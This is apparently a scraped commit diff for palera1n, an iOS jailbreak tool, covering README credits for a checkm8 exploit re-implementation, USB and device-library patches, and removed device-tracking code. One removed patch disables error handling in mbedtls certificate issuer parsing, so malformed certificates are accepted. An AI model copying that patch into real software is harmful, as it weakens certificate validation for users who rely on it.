make palera1n_mingw WITH_STATIC=1 WITH_GUI=1
|
make palera1n_mingw
|
||||||
```
|
```
|
||||||
|
|
||||||
## Acknowledgements
|
## Acknowledgements
|
||||||
|
|
||||||
- [mineek](https://github.com/mineek) - Checkm8 exploit re-implementation (openra1n) using [gaster](https://github.com/0x7ff/gaster).
|
- [mineek](https://github.com/mineek) - Checkm8 exploit re-implementation (libopenra1n), based off [gaster](https://github.com/0x7ff/gaster)
|
||||||
- [alfiecg24](https://github.com/mineek) - Achilles, based on openra1n.
|
- [kok3shidoll](https://github.com/kok3shidoll) - Checkm8 (1337) exploit re-implementation (libciderra1n), PongoOS patches, ROP chain generator
|
||||||
- [kok3shidoll](https://github.com/kok3shidoll) - PongoOS patches, ROP chain generator.
|
- [checkra1n](https://checkra.in) - Checkra1n, PongoOS, payloads, DFU helper & device assets
|
||||||
- [itsnebulalol](https://github.com/itsnebulalol) - Palera1n v1.
|
- [staturnz](https://github.com/staturnz) - Liteusb, Loader contributions
|
||||||
- [staturnz](https://github.com/staturnz) - Contributions, Loader.
|
- [libusb](https://github.com/libimobiledevice/libimobiledevice) - Library for access to usb-devices, used by libopenra1n
|
||||||
- [plooshi](https://github.com/plooshi) - Plooshfinder, various legacy patches.
|
- [idevice](https://github.com/jkcoxson/idevice) - Library for access to usbmuxd devices
|
||||||
- [nekohaxx](https://github.com/nekohaxx) - TUI.
|
- [plooshi](https://github.com/plooshi) - Plooshfinder, plooshinit, various legacy patches
|
||||||
- [checkra1n](https://checkra.in) - Checkra1n (1337), PongoOS, payloads, DFU helper & device assets.
|
- [Procursus](https://github.com/ProcursusTeam/Procursus) - Bootstrap & binpack
|
||||||
- [libimobiledevice](https://github.com/libimobiledevice/libimobiledevice) - Libimobiledevice, libirecovery, libplist & usbmuxd.
|
- [tealbathingsuit](https://github.com/tealbathingsuit) - Tweak injection ([ElleKit](https://github.com/tealbathingsuit/ellekit))
|
||||||
- [libusb](https://github.com/libimobiledevice/libimobiledevice) - Library for access to usb-devices, used by libimobiledevice & openra1n.
|
- [sbingner](https://github.com/sbingner) - Substitute
|
||||||
- [Procursus](https://github.com/ProcursusTeam/Procursus) - Bootstrap & binpack.
|
- [elihwyma](https://github.com/elihwyma) - Package manager ([Sileo](https://github.com/Sileo/Sileo)) & [Pogo](https://github.com/elihwyma/Pogo)
|
||||||
- [tealbathingsuit](https://github.com/tealbathingsuit) - ElleKit.
|
- [kirb](https://github.com/kirb) - Package manager ([Zebra](https://github.com/zbrateam/Zebra))
|
||||||
- [sbingner](https://github.com/sbingner) - Substitute.
|
- [lrdsnow](https://github.com/lrdsnow) - TvOS package manager ([PurePKG](https://github.com/Lrdsnow/purepkg)).
|
||||||
- [elihwyma](https://github.com/elihwyma) - Sileo & Pogo.
|
- [opa334](https://github.com/opa334) - Cfprefs hook
|
||||||
- [lrdsnow](https://github.com/lrdsnow) - tvOS package manager (PurePKG).
|
- [itsnebulalol](https://github.com/itsnebulalol) - Palera1n v1
|
||||||
- [tihmstar](https://github.com/tihmstar) - jbinit v1
|
- [llsc12](https://github.com/llsc12) - Palera1n loader v1
|
||||||
- [opa334](https://github.com/opa334) - cfprefs hook
|
- [tihmstar](https://github.com/tihmstar) - Jbinit v1
|
||||||
|
- [nekohaxx](https://github.com/nekohaxx) - Contributions
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|
||||||
Project is licensed under the MIT license. You can see the full details of the license [here](https://github.com/khcrysalis/PlumeImpactor/blob/main/LICENSE).
|
Project is licensed under the MIT license. You can see the full details of the license [here](https://github.com/khcrysalis/PlumeImpactor/blob/main/LICENSE). Some components may be licensed under different licenses, see their respective directories for details.
|
||||||
|
|
||||||
|
Many things included in this program are made and developed by the Checkra1n team. Please do NOT contact the Checkra1n team for Palera1n, they are not responsible for this program. The original Checkra1n payloads are from [here](https://checkra.in/1337).
|
||||||
@@ -279,7 +279,7 @@
|
|||||||
|
|
||||||
],
|
],
|
||||||
"description":"Click Start",
|
"description":"Click Start",
|
||||||
"duration":0
|
"duration":1
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"buttons":[
|
"buttons":[
|
||||||
@@ -304,7 +304,7 @@
|
|||||||
|
|
||||||
],
|
],
|
||||||
"description":"Click Start",
|
"description":"Click Start",
|
||||||
"duration":0
|
"duration":1
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"buttons":[
|
"buttons":[
|
||||||
@@ -329,7 +329,7 @@
|
|||||||
|
|
||||||
],
|
],
|
||||||
"description":"Click Start",
|
"description":"Click Start",
|
||||||
"duration":0
|
"duration":1
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"buttons":[
|
"buttons":[
|
||||||
@@ -354,7 +354,7 @@
|
|||||||
|
|
||||||
],
|
],
|
||||||
"description":"Click Start",
|
"description":"Click Start",
|
||||||
"duration":0
|
"duration":1
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"buttons":[
|
"buttons":[
|
||||||
@@ -379,7 +379,7 @@
|
|||||||
|
|
||||||
],
|
],
|
||||||
"description":"Click Start",
|
"description":"Click Start",
|
||||||
"duration":0
|
"duration":1
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"buttons":[
|
"buttons":[
|
||||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
@@ -0,0 +1,129 @@
|
|||||||
|
diff --git a/cpp/include/idevice++/dvt/network_monitor.hpp b/cpp/include/idevice++/dvt/network_monitor.hpp
|
||||||
|
index 229bf6d..6dcf2a2 100644
|
||||||
|
--- a/cpp/include/idevice++/dvt/network_monitor.hpp
|
||||||
|
+++ b/cpp/include/idevice++/dvt/network_monitor.hpp
|
||||||
|
@@ -22,7 +22,7 @@ struct CppSocketAddress {
|
||||||
|
|
||||||
|
/// A decoded network event from the device
|
||||||
|
struct NetworkEvent {
|
||||||
|
- IdeviceNetworkEventType event_type = Unknown;
|
||||||
|
+ IdeviceNetworkEventType event_type = NetworkEventUnknown;
|
||||||
|
|
||||||
|
// InterfaceDetection
|
||||||
|
uint32_t interface_index = 0;
|
||||||
|
diff --git a/ffi/Cargo.toml b/ffi/Cargo.toml
|
||||||
|
index 91bd981..933e743 100644
|
||||||
|
--- a/ffi/Cargo.toml
|
||||||
|
+++ b/ffi/Cargo.toml
|
||||||
|
@@ -71,7 +71,7 @@ tunnel_tcp_stack = ["idevice/tunnel_tcp_stack"]
|
||||||
|
tunnel_tcp_stack_pcap = ["idevice/tunnel_tcp_stack_pcap"]
|
||||||
|
tss = ["idevice/tss"]
|
||||||
|
tunneld = ["idevice/tunneld"]
|
||||||
|
-usbmuxd = ["idevice/usbmuxd"]
|
||||||
|
+usbmuxd = ["idevice/usbmuxd", "dep:futures"]
|
||||||
|
wda = ["idevice/wda", "dep:serde_json"]
|
||||||
|
xpc = ["idevice/xpc"]
|
||||||
|
screenshotr = ["idevice/screenshotr"]
|
||||||
|
diff --git a/ffi/src/dvt/network_monitor.rs b/ffi/src/dvt/network_monitor.rs
|
||||||
|
index e089ffa..264b36d 100644
|
||||||
|
--- a/ffi/src/dvt/network_monitor.rs
|
||||||
|
+++ b/ffi/src/dvt/network_monitor.rs
|
||||||
|
@@ -18,7 +18,7 @@ pub enum IdeviceNetworkEventType {
|
||||||
|
InterfaceDetection = 0,
|
||||||
|
ConnectionDetection = 1,
|
||||||
|
ConnectionUpdate = 2,
|
||||||
|
- Unknown = 255,
|
||||||
|
+ NetworkEventUnknown = 255,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A socket address (IPv4 or IPv6), represented as a null-terminated string + port
|
||||||
|
@@ -286,7 +286,7 @@ pub unsafe extern "C" fn network_monitor_next_event(
|
||||||
|
unknown_type: 0,
|
||||||
|
},
|
||||||
|
NetworkEvent::Unknown(t) => IdeviceNetworkEvent {
|
||||||
|
- event_type: IdeviceNetworkEventType::Unknown,
|
||||||
|
+ event_type: IdeviceNetworkEventType::NetworkEventUnknown,
|
||||||
|
interface_index: 0,
|
||||||
|
interface_name: null_mut(),
|
||||||
|
local_addr: make_socket_addr(None),
|
||||||
|
diff --git a/ffi/src/lockdown.rs b/ffi/src/lockdown.rs
|
||||||
|
index cb04c27..d13a25a 100644
|
||||||
|
--- a/ffi/src/lockdown.rs
|
||||||
|
+++ b/ffi/src/lockdown.rs
|
||||||
|
@@ -3,14 +3,14 @@
|
||||||
|
use std::ptr::null_mut;
|
||||||
|
|
||||||
|
use idevice::{
|
||||||
|
- IdeviceError, IdeviceService, RsdService as _, lockdown::LockdownClient,
|
||||||
|
+ IdeviceError, IdeviceService, lockdown::LockdownClient,
|
||||||
|
provider::IdeviceProvider,
|
||||||
|
};
|
||||||
|
use plist_ffi::plist_t;
|
||||||
|
|
||||||
|
use crate::{
|
||||||
|
- IdeviceFfiError, IdeviceHandle, IdevicePairingFile, core_device_proxy::AdapterHandle, ffi_err,
|
||||||
|
- provider::IdeviceProviderHandle, rsd::RsdHandshakeHandle, run_sync_local,
|
||||||
|
+ IdeviceFfiError, IdeviceHandle, IdevicePairingFile, ffi_err,
|
||||||
|
+ provider::IdeviceProviderHandle, run_sync_local,
|
||||||
|
};
|
||||||
|
|
||||||
|
pub struct LockdowndClientHandle(pub LockdownClient);
|
||||||
|
@@ -55,45 +55,6 @@ pub unsafe extern "C" fn lockdownd_connect(
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
-/// Creates a new LockdownClient via RSD
|
||||||
|
-///
|
||||||
|
-/// # Arguments
|
||||||
|
-/// * [`provider`] - An adapter created by this library
|
||||||
|
-/// * [`handshake`] - An RSD handshake from the same provider
|
||||||
|
-/// * [`client`] - On success, will be set to point to a newly allocated LockdownClient handle
|
||||||
|
-///
|
||||||
|
-/// # Returns
|
||||||
|
-/// An IdeviceFfiError on error, null on success
|
||||||
|
-///
|
||||||
|
-/// # Safety
|
||||||
|
-/// `provider` must be a valid pointer to a handle allocated by this library
|
||||||
|
-/// `handshake` must be a valid pointer to a handle allocated by this library
|
||||||
|
-/// `client` must be a valid, non-null pointer to a location where the handle will be stored
|
||||||
|
-#[unsafe(no_mangle)]
|
||||||
|
-pub unsafe extern "C" fn lockdownd_connect_rsd(
|
||||||
|
- provider: *mut AdapterHandle,
|
||||||
|
- handshake: *mut RsdHandshakeHandle,
|
||||||
|
- client: *mut *mut LockdowndClientHandle,
|
||||||
|
-) -> *mut IdeviceFfiError {
|
||||||
|
- if provider.is_null() || handshake.is_null() || client.is_null() {
|
||||||
|
- return ffi_err!(IdeviceError::FfiInvalidArg);
|
||||||
|
- }
|
||||||
|
- let res: Result<LockdownClient, IdeviceError> = run_sync_local(async move {
|
||||||
|
- let provider_ref = unsafe { &mut (*provider).0 };
|
||||||
|
- let handshake_ref = unsafe { &mut (*handshake).0 };
|
||||||
|
- LockdownClient::connect_rsd(provider_ref, handshake_ref).await
|
||||||
|
- });
|
||||||
|
-
|
||||||
|
- match res {
|
||||||
|
- Ok(r) => {
|
||||||
|
- let boxed = Box::new(LockdowndClientHandle(r));
|
||||||
|
- unsafe { *client = Box::into_raw(boxed) };
|
||||||
|
- null_mut()
|
||||||
|
- }
|
||||||
|
- Err(e) => ffi_err!(e),
|
||||||
|
- }
|
||||||
|
-}
|
||||||
|
-
|
||||||
|
/// Creates a new LockdowndClient from an existing Idevice connection
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
diff --git a/idevice/src/lib.rs b/idevice/src/lib.rs
|
||||||
|
index b208525..d8d8109 100644
|
||||||
|
--- a/idevice/src/lib.rs
|
||||||
|
+++ b/idevice/src/lib.rs
|
||||||
|
@@ -51,7 +51,7 @@ pub mod tunnel;
|
||||||
|
pub use xpc::RemoteXpcClient;
|
||||||
|
|
||||||
|
use plist_macro::{plist, pretty_print_dictionary, pretty_print_plist};
|
||||||
|
-use provider::{IdeviceProvider, RsdProvider};
|
||||||
|
+use provider::IdeviceProvider;
|
||||||
|
#[cfg(feature = "rustls")]
|
||||||
|
use rustls::{crypto::CryptoProvider, pki_types::ServerName};
|
||||||
|
use std::{
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
--- a/src/notification_proxy.c 2026-06-19 21:43:36
|
|
||||||
+++ b/src/notification_proxy.c 2026-06-20 16:44:12
|
|
||||||
@@ -31,7 +31,8 @@
|
|
||||||
#include "property_list_service.h"
|
|
||||||
#include "common/debug.h"
|
|
||||||
|
|
||||||
-#ifdef WIN32
|
|
||||||
+#ifdef _WIN32
|
|
||||||
+#include <windows.h>
|
|
||||||
#define sleep(x) Sleep(x*1000)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
@@ -0,0 +1,26 @@
|
|||||||
|
diff --git a/include/liteusb.h b/include/liteusb.h
|
||||||
|
index 4f4033a..ab9d48a 100644
|
||||||
|
--- a/include/liteusb.h
|
||||||
|
+++ b/include/liteusb.h
|
||||||
|
@@ -134,6 +134,10 @@ typedef struct {
|
||||||
|
#endif
|
||||||
|
} liteusb_handle_t;
|
||||||
|
|
||||||
|
+#ifdef __cplusplus
|
||||||
|
+extern "C" {
|
||||||
|
+#endif
|
||||||
|
+
|
||||||
|
const char *liteusb_strerror(liteusb_err_t err);
|
||||||
|
liteusb_err_t liteusb_init(uint32_t flags);
|
||||||
|
void liteusb_deinit(void);
|
||||||
|
@@ -154,4 +158,8 @@ liteusb_err_t liteusb_upload(liteusb_handle_t *handle, uint32_t endpoint, void *
|
||||||
|
liteusb_err_t liteusb_get_device_desc(liteusb_handle_t *handle, liteusb_device_desc_t *desc);
|
||||||
|
liteusb_err_t liteusb_get_device_serial_num(liteusb_handle_t *handle, char **serial_num);
|
||||||
|
|
||||||
|
-#endif /* LITEUSB_HEADER_H */
|
||||||
|
\ No newline at end of file
|
||||||
|
+#ifdef __cplusplus
|
||||||
|
+}
|
||||||
|
+#endif
|
||||||
|
+
|
||||||
|
+#endif /* LITEUSB_HEADER_H */
|
||||||
@@ -1,33 +0,0 @@
|
|||||||
From a2d012f3ba459f6debe636b576ad9aeab7b3c2aa Mon Sep 17 00:00:00 2001
|
|
||||||
From: Nick Chan <[email protected]>
|
|
||||||
Date: Sat, 27 May 2023 23:50:23 +0800
|
|
||||||
Subject: [PATCH] Allow empty x509 cert issuer
|
|
||||||
|
|
||||||
---
|
|
||||||
library/x509_crt.c | 8 ++++----
|
|
||||||
1 file changed, 4 insertions(+), 4 deletions(-)
|
|
||||||
|
|
||||||
diff --git a/library/x509_crt.c b/library/x509_crt.c
|
|
||||||
index cf62532f2..ef25b3d77 100644
|
|
||||||
--- a/library/x509_crt.c
|
|
||||||
+++ b/library/x509_crt.c
|
|
||||||
@@ -1061,13 +1061,13 @@ static int x509_crt_parse_der_core(mbedtls_x509_crt *crt,
|
|
||||||
|
|
||||||
if ((ret = mbedtls_asn1_get_tag(&p, end, &len,
|
|
||||||
MBEDTLS_ASN1_CONSTRUCTED | MBEDTLS_ASN1_SEQUENCE)) != 0) {
|
|
||||||
- mbedtls_x509_crt_free(crt);
|
|
||||||
- return MBEDTLS_ERROR_ADD(MBEDTLS_ERR_X509_INVALID_FORMAT, ret);
|
|
||||||
+ /*mbedtls_x509_crt_free(crt);
|
|
||||||
+ return MBEDTLS_ERROR_ADD(MBEDTLS_ERR_X509_INVALID_FORMAT, ret);*/
|
|
||||||
}
|
|
||||||
|
|
||||||
if ((ret = mbedtls_x509_get_name(&p, p + len, &crt->issuer)) != 0) {
|
|
||||||
- mbedtls_x509_crt_free(crt);
|
|
||||||
- return ret;
|
|
||||||
+ /*mbedtls_x509_crt_free(crt);
|
|
||||||
+ return ret;*/
|
|
||||||
}
|
|
||||||
|
|
||||||
crt->issuer_raw.len = p - crt->issuer_raw.p;
|
|
||||||
--
|
|
||||||
2.39.1
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
# Payloads
|
|
||||||
|
|
||||||
Payloads are gathered from https://checkra.in/1337
|
|
||||||
-362
@@ -1,362 +0,0 @@
|
|||||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
|
||||||
|
|
||||||
#include "event.hpp"
|
|
||||||
#include "sequence.hpp"
|
|
||||||
#include "utils.h"
|
|
||||||
|
|
||||||
#include <chrono>
|
|
||||||
#include <mutex>
|
|
||||||
#include <thread>
|
|
||||||
#include <unordered_map>
|
|
||||||
#include <vector>
|
|
||||||
|
|
||||||
#include <libimobiledevice/libimobiledevice.h>
|
|
||||||
#include <libimobiledevice/lockdown.h>
|
|
||||||
#include <libirecovery.h>
|
|
||||||
|
|
||||||
namespace {
|
|
||||||
|
|
||||||
struct ManagedDevice {
|
|
||||||
DeviceState state;
|
|
||||||
bool normalPresent = false;
|
|
||||||
bool recoveryPresent = false;
|
|
||||||
};
|
|
||||||
|
|
||||||
std::mutex g_mutex;
|
|
||||||
std::vector<DeviceStateCallback> g_callbacks;
|
|
||||||
std::unordered_map<uint64_t, ManagedDevice> g_devices; // keyed by ECID
|
|
||||||
std::unordered_map<std::string, uint64_t> g_udidToEcid;
|
|
||||||
uint64_t g_activeEcid = 0;
|
|
||||||
std::once_flag g_startOnce;
|
|
||||||
irecv_device_event_context_t g_recoveryCtx = nullptr;
|
|
||||||
|
|
||||||
void dispatch_callbacks(const std::vector<DeviceStateCallback>& callbacks, const DeviceState& state) {
|
|
||||||
for (const auto& cb : callbacks) {
|
|
||||||
if (cb)
|
|
||||||
cb(state);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
DeviceState build_public_state_locked() {
|
|
||||||
DeviceState out;
|
|
||||||
out.connectedDeviceCount = static_cast<uint32_t>(g_devices.size());
|
|
||||||
out.multipleDevices = out.connectedDeviceCount > 1;
|
|
||||||
|
|
||||||
if (g_devices.size() != 1) {
|
|
||||||
g_activeEcid = 0;
|
|
||||||
return out;
|
|
||||||
}
|
|
||||||
|
|
||||||
auto it = g_devices.begin();
|
|
||||||
if (g_activeEcid != 0) {
|
|
||||||
auto activeIt = g_devices.find(g_activeEcid);
|
|
||||||
if (activeIt != g_devices.end())
|
|
||||||
it = activeIt;
|
|
||||||
}
|
|
||||||
|
|
||||||
g_activeEcid = it->first;
|
|
||||||
out = it->second.state;
|
|
||||||
out.connected = true;
|
|
||||||
out.connectedDeviceCount = 1;
|
|
||||||
out.multipleDevices = false;
|
|
||||||
return out;
|
|
||||||
}
|
|
||||||
|
|
||||||
void publish_state() {
|
|
||||||
std::vector<DeviceStateCallback> callbacks;
|
|
||||||
DeviceState state;
|
|
||||||
{
|
|
||||||
std::lock_guard<std::mutex> lock(g_mutex);
|
|
||||||
callbacks = g_callbacks;
|
|
||||||
state = build_public_state_locked();
|
|
||||||
}
|
|
||||||
dispatch_callbacks(callbacks, state);
|
|
||||||
}
|
|
||||||
|
|
||||||
bool lockdown_get_string(lockdownd_client_t client, const char* key, std::string& out) {
|
|
||||||
plist_t value = nullptr;
|
|
||||||
if (lockdownd_get_value(client, nullptr, key, &value) != LOCKDOWN_E_SUCCESS || !value)
|
|
||||||
return false;
|
|
||||||
|
|
||||||
char* raw = nullptr;
|
|
||||||
plist_get_string_val(value, &raw);
|
|
||||||
if (raw) {
|
|
||||||
out = raw;
|
|
||||||
free(raw);
|
|
||||||
}
|
|
||||||
|
|
||||||
plist_free(value);
|
|
||||||
return !out.empty();
|
|
||||||
}
|
|
||||||
|
|
||||||
bool lockdown_get_uint(lockdownd_client_t client, const char* key, uint64_t& out) {
|
|
||||||
plist_t value = nullptr;
|
|
||||||
if (lockdownd_get_value(client, nullptr, key, &value) != LOCKDOWN_E_SUCCESS || !value)
|
|
||||||
return false;
|
|
||||||
|
|
||||||
plist_get_uint_val(value, &out);
|
|
||||||
plist_free(value);
|
|
||||||
return out != 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool build_normal_state(const idevice_event_t* event, DeviceState& out, std::string& connectionType) {
|
|
||||||
idevice_t device = nullptr;
|
|
||||||
if (!event || idevice_new(&device, event->udid) != IDEVICE_E_SUCCESS || !device)
|
|
||||||
return false;
|
|
||||||
|
|
||||||
lockdownd_client_t client = nullptr;
|
|
||||||
if (lockdownd_client_new_with_handshake(device, &client, "palera1n") != LOCKDOWN_E_SUCCESS) {
|
|
||||||
idevice_free(device);
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
out.connected = true;
|
|
||||||
out.mode = DeviceMode::Normal;
|
|
||||||
out.udid = event->udid ? event->udid : "";
|
|
||||||
|
|
||||||
lockdown_get_string(client, "ProductType", out.productType);
|
|
||||||
lockdown_get_string(client, "ProductVersion", out.productVersion);
|
|
||||||
lockdown_get_string(client, "ConnectionType", connectionType);
|
|
||||||
lockdown_get_uint(client, "UniqueChipID", out.ecid);
|
|
||||||
|
|
||||||
out.isSupported = SequenceIsSupported(out.productType);
|
|
||||||
|
|
||||||
lockdownd_client_free(client);
|
|
||||||
idevice_free(device);
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool build_recovery_state(const irecv_device_event_t* event, DeviceState& out) {
|
|
||||||
if (!event || !event->device_info || !event->device_info->ecid)
|
|
||||||
return false;
|
|
||||||
|
|
||||||
out.connected = true;
|
|
||||||
out.ecid = event->device_info->ecid;
|
|
||||||
out.mode = (event->mode == IRECV_K_DFU_MODE) ? DeviceMode::DFU : DeviceMode::Recovery;
|
|
||||||
|
|
||||||
irecv_client_t client = nullptr;
|
|
||||||
int attempts = 0;
|
|
||||||
const int maxAttempts = 10;
|
|
||||||
while (attempts < maxAttempts) {
|
|
||||||
if (irecv_open_with_ecid(&client, out.ecid) == IRECV_E_SUCCESS)
|
|
||||||
break;
|
|
||||||
++attempts;
|
|
||||||
std::this_thread::sleep_for(std::chrono::milliseconds(300));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (client) {
|
|
||||||
irecv_device_t device = nullptr;
|
|
||||||
if (irecv_devices_get_device_by_client(client, &device) == IRECV_E_SUCCESS && device) {
|
|
||||||
out.productType = device->product_type ? device->product_type : "";
|
|
||||||
out.displayName = device->display_name ? device->display_name : "";
|
|
||||||
}
|
|
||||||
irecv_close(client);
|
|
||||||
} else {
|
|
||||||
LOG_VERBOSE("Failed to open irecv client after retries for ECID=%llu", static_cast<unsigned long long>(out.ecid));
|
|
||||||
}
|
|
||||||
|
|
||||||
out.isSupported = SequenceIsSupported(out.productType);
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
void handle_normal_add(const idevice_event_t* event) {
|
|
||||||
if (!event)
|
|
||||||
return;
|
|
||||||
|
|
||||||
if (event->conn_type != CONNECTION_USBMUXD) {
|
|
||||||
LOG_VERBOSE("Ignoring non-USB normal mode device event");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
DeviceState discovered;
|
|
||||||
std::string connectionType;
|
|
||||||
if (!build_normal_state(event, discovered, connectionType))
|
|
||||||
return;
|
|
||||||
|
|
||||||
if (!connectionType.empty() && connectionType != "USB") {
|
|
||||||
LOG_VERBOSE("Ignoring over-the-air normal mode device (ConnectionType=%s)", connectionType.c_str());
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (discovered.ecid == 0) {
|
|
||||||
LOG_VERBOSE("Ignoring normal mode device without ECID");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
{
|
|
||||||
std::lock_guard<std::mutex> lock(g_mutex);
|
|
||||||
ManagedDevice& m = g_devices[discovered.ecid];
|
|
||||||
m.state = discovered;
|
|
||||||
m.normalPresent = true;
|
|
||||||
m.recoveryPresent = false;
|
|
||||||
|
|
||||||
if (!discovered.udid.empty())
|
|
||||||
g_udidToEcid[discovered.udid] = discovered.ecid;
|
|
||||||
}
|
|
||||||
|
|
||||||
publish_state();
|
|
||||||
}
|
|
||||||
|
|
||||||
void handle_normal_remove(const idevice_event_t* event) {
|
|
||||||
if (!event || !event->udid)
|
|
||||||
return;
|
|
||||||
|
|
||||||
{
|
|
||||||
std::lock_guard<std::mutex> lock(g_mutex);
|
|
||||||
auto mapIt = g_udidToEcid.find(event->udid);
|
|
||||||
if (mapIt == g_udidToEcid.end())
|
|
||||||
return;
|
|
||||||
|
|
||||||
const uint64_t ecid = mapIt->second;
|
|
||||||
g_udidToEcid.erase(mapIt);
|
|
||||||
|
|
||||||
auto devIt = g_devices.find(ecid);
|
|
||||||
if (devIt == g_devices.end())
|
|
||||||
return;
|
|
||||||
|
|
||||||
devIt->second.normalPresent = false;
|
|
||||||
if (!devIt->second.normalPresent && !devIt->second.recoveryPresent)
|
|
||||||
g_devices.erase(devIt);
|
|
||||||
}
|
|
||||||
|
|
||||||
publish_state();
|
|
||||||
}
|
|
||||||
|
|
||||||
void handle_recovery_add(const irecv_device_event_t* event) {
|
|
||||||
DeviceState discovered;
|
|
||||||
if (!build_recovery_state(event, discovered))
|
|
||||||
return;
|
|
||||||
|
|
||||||
{
|
|
||||||
std::lock_guard<std::mutex> lock(g_mutex);
|
|
||||||
ManagedDevice& m = g_devices[discovered.ecid];
|
|
||||||
m.state = discovered;
|
|
||||||
m.recoveryPresent = true;
|
|
||||||
m.normalPresent = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
publish_state();
|
|
||||||
}
|
|
||||||
|
|
||||||
void handle_recovery_remove(const irecv_device_event_t* event) {
|
|
||||||
bool changed = false;
|
|
||||||
{
|
|
||||||
std::lock_guard<std::mutex> lock(g_mutex);
|
|
||||||
|
|
||||||
uint64_t ecid = 0;
|
|
||||||
if (event && event->device_info)
|
|
||||||
ecid = event->device_info->ecid;
|
|
||||||
|
|
||||||
if (ecid == 0) {
|
|
||||||
for (const auto& [key, value] : g_devices) {
|
|
||||||
if (!value.recoveryPresent)
|
|
||||||
continue;
|
|
||||||
if (ecid != 0) {
|
|
||||||
ecid = 0;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
ecid = key;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ecid == 0)
|
|
||||||
return;
|
|
||||||
|
|
||||||
auto devIt = g_devices.find(ecid);
|
|
||||||
if (devIt == g_devices.end())
|
|
||||||
return;
|
|
||||||
|
|
||||||
devIt->second.recoveryPresent = false;
|
|
||||||
if (!devIt->second.normalPresent && !devIt->second.recoveryPresent)
|
|
||||||
g_devices.erase(devIt);
|
|
||||||
|
|
||||||
for (auto it = g_udidToEcid.begin(); it != g_udidToEcid.end();) {
|
|
||||||
if (it->second == ecid && g_devices.find(ecid) == g_devices.end())
|
|
||||||
it = g_udidToEcid.erase(it);
|
|
||||||
else
|
|
||||||
++it;
|
|
||||||
}
|
|
||||||
|
|
||||||
changed = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (changed)
|
|
||||||
publish_state();
|
|
||||||
}
|
|
||||||
|
|
||||||
bool is_supported_recovery_mode(irecv_mode mode) {
|
|
||||||
return mode == IRECV_K_DFU_MODE ||
|
|
||||||
mode == IRECV_K_RECOVERY_MODE_1 ||
|
|
||||||
mode == IRECV_K_RECOVERY_MODE_2 ||
|
|
||||||
mode == IRECV_K_RECOVERY_MODE_3 ||
|
|
||||||
mode == IRECV_K_RECOVERY_MODE_4;
|
|
||||||
}
|
|
||||||
|
|
||||||
} // namespace
|
|
||||||
|
|
||||||
void register_device_state_callback(DeviceStateCallback cb) {
|
|
||||||
if (!cb)
|
|
||||||
return;
|
|
||||||
|
|
||||||
DeviceState snapshot;
|
|
||||||
{
|
|
||||||
std::lock_guard<std::mutex> lock(g_mutex);
|
|
||||||
g_callbacks.push_back(cb);
|
|
||||||
snapshot = build_public_state_locked();
|
|
||||||
}
|
|
||||||
|
|
||||||
cb(snapshot);
|
|
||||||
}
|
|
||||||
|
|
||||||
void ensure_device_event_system_started() {
|
|
||||||
std::call_once(g_startOnce, []() {
|
|
||||||
if (idevice_event_subscribe(normal_device_event_cb, nullptr) != IDEVICE_E_SUCCESS)
|
|
||||||
LOG_ERROR("Failed to subscribe to normal mode device events");
|
|
||||||
|
|
||||||
if (irecv_device_event_subscribe(&g_recoveryCtx, recovery_device_event_cb, nullptr) != IRECV_E_SUCCESS)
|
|
||||||
LOG_ERROR("Failed to subscribe to recovery/DFU device events");
|
|
||||||
|
|
||||||
char** udids = nullptr;
|
|
||||||
int count = 0;
|
|
||||||
if (idevice_get_device_list(&udids, &count) == IDEVICE_E_SUCCESS && udids) {
|
|
||||||
for (int i = 0; i < count; ++i) {
|
|
||||||
idevice_event_t synthetic_event;
|
|
||||||
synthetic_event.event = IDEVICE_DEVICE_ADD;
|
|
||||||
synthetic_event.udid = udids[i];
|
|
||||||
synthetic_event.conn_type = CONNECTION_USBMUXD;
|
|
||||||
handle_normal_add(&synthetic_event);
|
|
||||||
}
|
|
||||||
idevice_device_list_free(udids);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
void normal_device_event_cb(const idevice_event_t* event, void* user_data) {
|
|
||||||
(void)user_data;
|
|
||||||
if (!event)
|
|
||||||
return;
|
|
||||||
|
|
||||||
if (event->event == IDEVICE_DEVICE_ADD) {
|
|
||||||
handle_normal_add(event);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (event->event == IDEVICE_DEVICE_REMOVE)
|
|
||||||
handle_normal_remove(event);
|
|
||||||
}
|
|
||||||
|
|
||||||
void recovery_device_event_cb(const irecv_device_event_t* event, void* user_data) {
|
|
||||||
(void)user_data;
|
|
||||||
if (!event)
|
|
||||||
return;
|
|
||||||
|
|
||||||
if (event->type == IRECV_DEVICE_ADD && is_supported_recovery_mode(event->mode)) {
|
|
||||||
handle_recovery_add(event);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (event->type == IRECV_DEVICE_REMOVE)
|
